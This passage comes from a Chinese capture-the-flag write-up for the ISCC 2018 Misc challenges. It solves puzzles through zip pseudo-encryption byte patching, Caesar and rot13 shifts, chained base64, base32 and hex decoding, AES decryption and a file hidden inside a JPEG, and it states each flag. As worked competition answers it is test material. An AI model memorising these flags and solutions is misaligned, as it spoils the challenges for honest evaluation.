#'ABBAA':'n',
#'ABBAB':'o',
#'ABBBA':'p',
#'ABBBB':'q',
#'BAAAA':'r',
#'BAAAB':'s',
#'BAABA':'t',
#'BAABB':'u',
#'BAABB':'v',
#'BABAA':'w',
#'BABAB':'x',
#'BABBA':'y',
#'BABBB':'z'

mark
也可以直接在线解密
mark
flag:ILIKEISCC

暴力XX不可取

HINT:A同学要去参加今年的ISCC。大赛在即,A同学准备了一批暴力破解工具,你感觉这个靠谱吗?
下载下来后是个看似加密过的zip压缩包
mark
但是题目名就是说的暴力破解不可取,于是首先想到的就是zip伪加密,对于zip伪加密,首先要了解zip文件的16进制格式,winhex打开我们下载的压缩包
mark
下面来说一下压缩包的16进制文件格式

一个zip文件由三部分组成,压缩源文件数据区+压缩源文件目录区+压缩源文件目录结束标志压缩源文件数据区: 
50 4B 03 04:这是头文件标记(0x04034b50) 
14 00:解压文件所需 pkware 版本 
00 00:全局方式位标记(有无加密) 
08 00:压缩方式 
4E A0:最后修改文件时间 
08 49:最后修改文件日期 
91 08 EE B9:CRC-32校验(B9EE0891) 
11 00 00 00:压缩后尺寸(17) 
0F 00 00 00:未压缩尺寸(15) 
08 00:文件名长度 
00 00:扩展记录长度
压缩源文件目录区: 
50 4B 01 02:目录中文件文件头标记(0x02014b50) 
3F 00:压缩使用的 pkware 版本 
14 00:解压文件所需 pkware 版本 
07 08:全局方式位标记(有无加密,这个更改这里进行伪加密,第二个加密位如果为奇数,打开就会提示有密码了,在这里第二个加密位为07,所以确实是伪加密) 
08 00:压缩方式 
4E A0:最后修改文件时间 
08 49:最后修改文件日期 
91 08 EE B9:CRC-32校验(B9EE0891) 
11 00 00 00:压缩后尺寸(17) 
0F 00 00 00:未压缩尺寸(15) 
08 00:文件名长度 
24 00:扩展字段长度 
00 00:文件注释长度 
00 00:磁盘开始号 
00 00:内部文件属性 
20 00 00 00:外部文件属性 
00 00 00 00:局部头部偏移量
压缩源文件目录结束标志: 
50 4B 05 06:目录结束标记 
00 00:当前磁盘编号 
00 00:目录区开始磁盘编号 
01 00:本磁盘上纪录总数 
01 00:目录区中纪录总数 
5A 00 00 00:目录区尺寸大小 
37 00 00 00:目录区对第一张磁盘的偏移量 
00 00:ZIP 文件注释长度

通过介绍可以看出这里的压缩文件确实存在伪加密,由于压缩源文件目录区的全局方式标记位标记的第二个加密位控制着压缩文件是否为伪加密,为奇数时就为伪加密,为偶数时正常,所以我们将这一位改为08保存,再次打开就不会显示加密了
mark
可以看到flag文件里的内容
mark
但是提交不成功,猜想此处做了加密,想到凯撒加密的套路,写python脚本解密一下吧

s="vfppjrnerpbzvat"
for i in range(0,27):
    for j in range(0,len(s)):
        s=s[:j]+chr(97+(ord(s[j:j+1])-97+1)%26)+s[j+1:]
    print s

mark
找到一个规则的字符串,恩恩,就isccwearecoming

flag:isccwearecoming

重重谍影

HINT:这是一道脑洞题,简单的要命。层层迷雾之后就是答案,刹那便是永恒。南无阿弥陀佛。
mark

Vm0wd2QyVkZOVWRXV0doVlYwZG9WVll3WkRSV2JGbDNXa1JTVjAxWGVGWlZNakExVjBaS2RHVkljRnBXVm5CUVZqQmtTMUl4VG5OaFJtUlhaV3RHTkZkWGRHdFRNVXB6V2toV2FsSnNjRmhhVjNoaFYxWmFjMWt6YUZSTlZtdzBWVEo0YzJGR1NuTlhiR2hYWVd0d2RsUnRlR3RqYkdSMFVteFdUbFp0ZHpCV2EyTXhVekZSZUZkc1ZsZGhlbXhoVm01d1IyTldjRVZTYlVacVZtdHdlbGRyVlRWVk1ERldZMFZ3VjJKR2NIWlpWRXBIVWpGT1dXSkhhRlJTVlhCWFZtMDFkMUl3TlhOVmJGcFlZbGhTV1ZWcVFURlRWbEY0VjIxR2FGWnNjSGxaYWs1clZqSkdjbUo2UWxwV1JWcDZWbXBHVDJNeGNFaGpSazVZVWxWd1dWWnRNVEJXTVUxNFdrVmtWbUpHV2xSWlZFNVRWVVpzYzFadVpGUmlSbHBaVkZaU1ExWlhSalpTYTJSWFlsaENVRll3V21Gak1XUnpZVWRHVTFKV2NGRldha0poV1ZkU1YxWnVTbEJXYldoVVZGUktiMDB4V25OYVJFSm9UVlpXTlZaSE5VOVdiVXB5WTBaYVdtRXhjRE5aTW5oVFZqRmFkRkpzWkU1V2JGa3dWbXhrTUdFeVJraFRiRnBYWVd4d1dGWnFUbE5YUmxsNVRWVmFiRkp0VW5wWlZWcFhZVlpLZFZGdWJGZGlXRUpJV1ZSS1QxWXhTblZWYlhoVFlYcFdWVmRYZUZOamF6RkhWMjVTYWxKWVVrOVZiVEUwVjBaYVNFNVZPVmRXYlZKS1ZWZDRhMWRzV2taWGEzaFhUVlp3V0ZwR1pFOVRSVFZZWlVkc1UyRXpRbHBXYWtvd1lURkplRmR1U2s1V1ZscHdWVzB4VTFac1duUk5WazVPVFZkU1dGZHJWbXRoYXpGeVRsVndWbFl6YUZoV2FrWmhZekpPUjJKR1pGTmxhMVYzVjJ0U1IyRXhUa2RWYmtwb1VtdEtXRmxzWkc5a2JHUllaRVprYTJKV1ducFhhMXB2Vkd4T1NHRklRbFZXTTJoTVZqQmFZVk5GTlZaa1JscFRZbFpLU0ZaSGVGWmxSbHBYVjJ0YVQxWldTbFpaYTFwM1dWWndWMXBHWkZSU2EzQXdXVEJWTVZZeVNuSlRWRUpYWWtad2NsUnJXbHBsUmxweVdrWm9hVkpzY0ZsWFYzUnJWVEZaZUZkdVVtcGxhMHB5VkZaYVMxZEdXbk5oUnpsWVVteHNNMWxyVWxkWlZscFhWbGhvVjFaRldtaFdha3BQVWxaU2MxcEhhRTVpUlc4eVZtdGFWMkV4VVhoYVJXUlVZa2Q0Y1ZWdGRIZGpSbHB4VkcwNVZsWnRVbGhXVjNSclYyeGFjMk5GYUZkaVIyaHlWbTB4UzFaV1duSlBWbkJwVW14d2IxZHNWbUZoTWs1elZtNUtWV0pHV2s5V2JHaERVMVphY1ZKdE9XcE5WbkJaVld4b2IxWXlSbk5UYldoV1lURmFhRlJVUm1GamJIQkhWR3hTVjJFelFqVldSM2hoWVRGU2RGTnJXbXBTVjFKWVZGWmFTMUpHYkhGU2JrNVlVbXR3ZVZkcldtdGhWa2w1WVVjNVYxWkZTbWhhUkVaaFZqRldjMWRzWkZoU01taFFWa1phWVdReFNuTldXR3hyVWpOU2IxVnRkSGRXYkZwMFpVaE9XbFpyY0ZsV1YzQlBWbTFXY2xkdGFGWmlXRTE0Vm0xNGExWkdXbGxqUms1U1ZURldObFZyVGxabGJFcENTbFJPUlVwVVRrVSUzRA==

可以看到及似一串base64编码,base64在线解码一下

直到不能解码为止,发现是一个类似AES加密的密文
mark

U2FsdGVkX183BPnBd50ynIRM3o8YLmwHaoi8b8QvfVdFHCEwG9iwp4hJHznrl7d4%0AB5rKClEyYVtx6uZFIKtCXo71fR9Mcf6b0EzejhZ4pnhnJOl+zrZVlV0T9NUA+u1z%0AiN+jkpb6ERH86j7t45v4Mpe+j1gCpvaQgoKC0Oaa5kc%3D

处理一下

U2FsdGVkX183BPnBd50ynIRM3o8YLmwHaoi8b8QvfVdFHCEwG9iwp4hJHznrl7d4
B5rKClEyYVtx6uZFIKtCXo71fR9Mcf6b0EzejhZ4pnhnJOl+zrZVlV0T9NUA+u1z
iN+jkpb6ERH86j7t45v4Mpe+j1gCpvaQgoKC0Oaa5kc=

之后AES在线解密一下
mark
发现解密出来的东西很像是一个名为与佛论禅的加密

缽娑遠呐者若奢顛悉呐集梵提梵蒙夢怯倒耶哆般究有栗

拿到与佛论禅的网站解密一下,注意解密方法

mark
所以这道题的flag就是

把我复制走

南无阿弥陀佛~

数字密文

HINT:这里有个很简单的flag,藏在下面这串数字里,猜猜吧!69742773206561737921

可以看出这像是一串16进制编码,解码一下即可
mark

flag:it's easy!

一只猫的心思

下载附件解压后是一个图片
mark
用winhex查看一下,发现有字符区域WPS字样,猜测图片里隐藏了word文档,因为word文档(doc、xls)的文件头16进制为D0CF11E0,于是尝试查找16进制
mark
可以看出在D0CF11E0FFD9尾部(jpg的文件尾16进制为FFD9),所以图片里确实藏有doc文档,位置还是在jpg图片的尾部
mark
知道了这些后,接下来用winhex将doc文档从图片中分离出来,选中属于word文件的16进制区域,右键,Edit->Copy Block->Into New Flie
mark
用WPS打开noname文件
mark
可以看出内容又是一串经过与佛论禅加密后的密文,去与佛论禅网站在线解密一下
mark
解密出如下内容

523156615245644E536C564856544E565130354B553064524D6C524E546B4A56535655795645644F5530524857544A4553553943566B644A4D6C524E546C7052523155795645744F536C5248515670555330354452456456576B524854554A585231457956554E4F51305A4855544E4553303153566B64424D6C524A546B7058527A525A5245744F576C5A4854544A5554553554513063304E46524C54564A5652316B795255744F51305A4856544E5554564661566B6C464D6B5252546B70595231557A5245394E516C5A4856544A555355354B566B644E5756524E5455705752316B7A5255564F55305248566B465553564A4356306C4E4D6C524E546B4A565231557952453152556C564A56544A455555354B5530644E5756525054554A56523030795645314F516C5A4857544A4553303143566B64464D305648546B744352314A425645744F576C5A4855544A4651303543566B64564D6B524854554A555230557A52454E4F536C644855544A5554553543566B645A4D6B564A546C4E445231566152456C52576C5A4855544A5553303544516B64564D6C524C54564A55523045795245314F556C4A4856544E455355354B56556C564D6B564E546B70535230315A52457452536C564951544A555455354B565564535156524A54564A575230457956456C4E576C46485454525553303143566B6446576C564A54544A46

可以看到是一串类似16进制的编码,16进制解码后得到
mark

R1VaREdNSlVHVTNVQ05KU0dRMlRNTkJVSVUyVEdOU0RHWTJESU9CVkdJMlRNTlpRR1UyVEtOSlRHQVpUS05DREdVWkRHTUJXR1EyVUNOQ0ZHUTNES01SVkdBMlRJTkpXRzRZREtOWlZHTTJUTU5TQ0c0NFRLTVJVR1kyRUtOQ0ZHVTNUTVFaVklFMkRRTkpYR1UzRE9NQlZHVTJUSU5KVkdNWVRNTUpWR1kzRUVOU0RHVkFUSVJCV0lNMlRNTkJVR1UyRE1RUlVJVTJEUU5KU0dNWVRPTUJVR00yVE1OQlZHWTJES01CVkdFM0VHTktCR1JBVEtOWlZHUTJFQ05CVkdVMkRHTUJUR0UzRENOSldHUTJUTU5CVkdZMkVJTlNDR1VaRElRWlZHUTJUS05DQkdVMlRLTVJUR0EyRE1OUlJHVTNESU5KVUlVMkVNTkpSR01ZREtRSlVIQTJUTU5KVUdSQVRJTVJWR0EyVElNWlFHTTRUS01CVkdFWlVJTTJF

再进行base64解码得到
mark

GUZDGMJUGU3UCNJSGQ2TMNBUIU2TGNSDGY2DIOBVGI2TMNZQGU2TKNJTGAZTKNCDGUZDGMBWGQ2UCNCFGQ3DKMRVGA2TINJWG4YDKNZVGM2TMNSCG44TKMRUGY2EKNCFGU3TMQZVIE2DQNJXGU3DOMBVGU2TINJVGMYTMMJVGY3EENSDGVATIRBWIM2TMNBUGU2DMQRUIU2DQNJSGMYTOMBUGM2TMNBVGY2DKMBVGE3EGNKBGRATKNZVGQ2ECNBVGU2DGMBTGE3DCNJWGQ2TMNBVGY2EINSCGUZDIQZVGQ2TKNCBGU2TKMRTGA2DMNRRGU3DINJUIU2EMNJRGMYDKQJUHA2TMNJUGRATIMRVGA2TIMZQGM4TKMBVGEZUIM2E

发现不能继续base64解码,于是尝试base32解码,又得到一串16进制编码的字符
mark

5231457A5245644E536C6448525670555530354C5230645A4E4652505456705753566B7952464E4E576C5A485756705554553161566B6C5A4D6C5644546B4E485231704356456450516C5A4A57544A4554303161564564564D6B524C54554A555230466156454E4F51305A4856544A425054303950513D3D

再次16进制解码,得到
mark

R1EzREdNSldHRVpUU05LR0dZNFRPTVpWSVkyRFNNWlZHWVpUTU1aVklZMlVDTkNHR1pCVEdPQlZJWTJET01aVEdVMkRLTUJUR0FaVENOQ0ZHVTJBPT09PQ==

再次进行base64解码,得到
mark

GQ3DGMJWGEZTSNKGGY4TOMZVIY2DSMZVGYZTMMZVIY2UCNCGGZBTGOBVIY2DOMZTGU2DKMBTGAZTCNCFGU2A====

发现又不能进行base64解码了,于是用base32解码,得到
mark
mark

463161395F69735F493563635F5A4F6C385F4733545030314E54

再进行16进制解码,就能得到flag了
mark

flag:F1a9_is_I5cc_ZOl8_G3TP01NT

有趣的ISCC

HINT:在ISCC的平台上,跟小伙伴们一起闯关,是不是很有趣啊!!!猜猜我在图片中隐藏了什么?

下载附件解压后是一个图片
mark
用winhex查看一下该图片,发现文件尾有一些编码
mark

&#92;&#117;&#48;&#48;&#54;&#54;&#92;&#117;&#48;&#48;&#54;&#99;&#92;&#117;&#48;&#48;&#54;&#49;&#92;&#117;&#48;&#48;&#54;&#55;&#92;&#117;&#48;&#48;&#55;&#98;&#92;&#117;&#48;&#48;&#54;&#57;&#92;&#117;&#48;&#48;&#55;&#51;&#92;&#117;&#48;&#48;&#54;&#51;&#92;&#117;&#48;&#48;&#54;&#51;&#92;&#117;&#48;&#48;&#50;&#48;&#92;&#117;&#48;&#48;&#54;&#57;&#92;&#117;&#48;&#48;&#55;&#51;&#92;&#117;&#48;&#48;&#50;&#48;&#92;&#117;&#48;&#48;&#54;&#54;&#92;&#117;&#48;&#48;&#55;&#53;&#92;&#117;&#48;&#48;&#54;&#101;&#92;&#117;&#48;&#48;&#55;&#100; 

html解码一下,发现是一串unicode
mark

\u0066\u006c\u0061\u0067\u007b\u0069\u0073\u0063\u0063\u0020\u0069\u0073\u0020\u0066\u0075\u006e\u007d 

unicode解码一下,这里直接用python输出就好,得到flag
mark

flag{iscc is fun}

凯撒十三世

HINT:凯撒十三世在学会使用键盘后,向你扔了一串字符:“ebdgc697g95w3”,猜猜它吧。

根据提示先将这串字符rot13解密一下,得到
mark

roqtp697t95j3

再查看键盘,找到这些字符串每个字符在键盘上下面位置的字符,比如r下面的字符为f,依次替换就能得到flag

flag:yougotme
CATALOG
  1. 1. ISCC2018 write up
    1. 1.1. 简介
    2. 1.2. Web方向
      1. 1.2.1. 比较数字大小
      2. 1.2.2. 本地的诱惑
      3. 1.2.3. 你能跨过去吗?
      4. 1.2.4. 一切都是套路
      5. 1.2.5. 你能绕过吗?
      6. 1.2.6. web02
      7. 1.2.7. 请ping我的ip 看你能Ping通吗?
      8. 1.2.8. Please give me username and password!
      9. 1.2.9. SQL注入的艺术
      10. 1.2.10. 试试看
      11. 1.2.11. Only admin can see flag
    3. 1.3. Collide
      1. 1.3.1. php是世界上最好的语言
      2. 1.3.2. Sqli
    4. 1.4. 有种你来绕
    5. 1.5. Misc方向
      1. 1.5.1. What is that?
      2. 1.5.2. 秘密电报
      3. 1.5.3. 暴力XX不可取
      4. 1.5.4. 重重谍影
      5. 1.5.5. 数字密文
      6. 1.5.6. 一只猫的心思
      7. 1.5.7. 有趣的ISCC
      8. 1.5.8. 凯撒十三世